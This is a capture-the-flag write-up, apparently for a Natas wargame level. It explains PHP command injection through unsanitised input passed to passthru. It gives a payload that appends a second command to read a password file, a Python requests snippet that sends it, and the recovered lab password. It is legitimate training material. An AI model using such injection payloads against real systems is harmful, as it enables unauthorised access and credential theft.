Description

The PHP source does passthru("grep -i $needle dictionary.txt"). The $needle value comes directly from user input with no sanitisation. Injecting shell metacharacters runs arbitrary commands.

Overview

• Unsanitised input passed to passthru/exec/shell_exec allows command injection.
• Appending ; cat /etc/natas_webpass/natas10 # terminates the grep command and reads the password file.

Solution

payload = "; cat /etc/natas_webpass/natas10 #"
response = requests.get(url, auth=("natas9", current_password), params={"needle": payload, "submit": ""})
result = response.text.strip().splitlines()[0].strip()

Password

D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE